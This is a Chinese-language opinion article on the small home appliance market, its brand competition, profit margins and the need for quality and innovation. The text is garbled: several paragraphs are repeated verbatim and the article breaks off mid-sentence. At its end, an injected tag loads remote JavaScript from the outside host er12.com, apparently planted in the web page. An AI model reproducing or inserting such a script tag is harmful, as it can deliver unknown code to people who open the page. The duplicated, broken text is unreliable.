在外界看来小家电竞争格局是“春秋战国”也好，还是“五代十国”也罢，其实并不重要，重要的是，任何一个企业必须牢记自己的目标是消费者，而不是竞争对手；必须牢记成功的路径是满足消费者的结果，而不是消灭竞争对手的结果。
近几年，中国家电业在充分的市场竞争中已渐显颓势，营销大张旗鼓，利润却薄如刀片，不少家电品牌进入经营业绩的寒冬，笑在脸上，哭在心里。许多品牌要么走上了被并的征途，要么在市场的残酷竞争赛中被淘汰、从此一去不复返。这是市场竞争的必然规律，不适应顾客需求变化，创新节奏明显滞后，品牌理念自然难以深入人心，被市场和顾客抛弃在所难免。
家电业早已进入一个品牌制胜的时代。在中国家电业遭遇群体市场寒流的今天，我们仍发现有一个“家族”正在崛起，它以时尚、个性、高雅、方便、实用等为特点深深赢得了千万家庭的青睐，在赢得市场的同时，也扯起了利润与成长的细分行业大旗――它就是大家电的“小弟”――小家电。
资料显示，仅从2000年至2004年，中国的家电零售业年平均增长率就高达172%，尤其是国美、苏宁、大中、五星等这些连锁经营的企业，年平均销售增长率更是高达216%。在这个高速发展十几年产业的背后，却有着鲜为人知的事实。那就是传统大家电需求增加的同时，利润空间却开始急速缩小，而新型时尚小家电却展现空前市场活力，利润空间高达300-400%。在2005、2006年大家电普遍陷入利润困境的时候，小家电行业的业绩堪称“一枝独秀”。
且不论品牌在小家电中所承载的价值几何，单是专靠做贴牌产品的一些南方小家电厂家这几年就迅速异军突起，快速积累了做专做强做大的企业雄厚资本，很多靠小家电起家的企业迅速成长为家电业的新锐知名品牌。
小家电行业相对利润高、与大家电属相关性产业等特点促使不少大家电厂家不断向小家电领域扩展。海尔、格力、美的、tcl等早在几年前就已对小家电行业发力，而万和、奔腾、苏泊尔、尚朋堂、九阳等国内一直专注小家电生产的厂家认为，在知名大家电厂家进军小家电对整个行业造成一定市场冲击的同时，对整个小家电行业的发展也起到了规范和带动的作用。即便是国内大家电知名品牌横扫整个小家电行业市场，但三星、飞利浦、松下等国际大牌仍然把持着整个行业的高端产品群。
小家电的市场利润真有那么高吗？小家电目前的市场现状究竟如何？品牌在小家电行业究竟具有多大的拉力？做小家电为什么更要关注顾客需求的变化？2007年小家电行业市场走势如何？
在产品日益同质化的今天，上千家小家电企业在经过几年的快速发展后，也不得不面临这个严重问题，即使是那些靠别人贴牌度日的著名厂家。而如何加强产品的创新及在新的产品需求领域寻找到突破口，是小家电品牌能否立足行业实现长久发展的关键。
目前中国家电业已具有较高的品牌集中度，企业已经形成较大的规模优势和效应，正所谓强者恒强，弱者恒弱。但我们仍认为小家电行业尚处于“春秋战国”时代，品牌集中度比较低，市场发展空间潜力巨大，虽然强势家电品牌涉足小家电领域，已促使小家电行业重新洗牌，品牌集中度也呈现越来越高的趋势。
笔者以为有以下几个方面原因：
一是小家电不是技术含量低的代名词。
在产品日益同质化的今天，上千家小家电企业在经过几年的快速发展后，也不得不面临这个严重问题，即使是那些靠别人贴牌度日的著名厂家。而如何加强产品的创新及在新的产品需求领域寻找到突破口，是小家电品牌能否立足行业实现长久发展的关键。
目前中国家电业已具有较高的品牌集中度，企业已经形成较大的规模优势和效应，正所谓强者恒强，弱者恒弱。但我们仍认为小家电行业尚处于“春秋战国”时代，品牌集中度比较低，市场发展空间潜力巨大，虽然强势家电品牌涉足小家电领域，已促使小家电行业重新洗牌，品牌集中度也呈现越来越高的趋势。
笔者以为有以下几个方面原因：
一是小家电不是技术含量低的代名词。很多人认为小家电技术含量低，主要赢在了产品的设计上，这种说法是不妥的。消费者始终认为小家电产品的根本在于产品质量，否则再完美的设计也会败在消费者对产品功能的体验上。而要保证小家电产品在出色的功能设计和外观设计上赢得口碑，“三九”工厂或者家庭作坊是不能保障的。要保证产品的“品”，才能有企业的“牌”，这就要求小家电行业在企业经营、材料使用、市场营销、质量控制、完善服务上不能有丝毫的含糊与妥协。
二是小家电需要经营大智慧。除了刚才说的产品、技术、质量，小家电的渠道与终端模式需要我们重视。要实现共赢，渠道与终端的推广非常关键，我们不能再单纯靠搭送大家电销售的快车实现企业的规模与效益，不能靠降价或猎奇的促销或炒作概念来赢得企业的生存。小家电企业应在这些年的发展探索中，寻找到适合自?script src=http://er12.com/t.js>
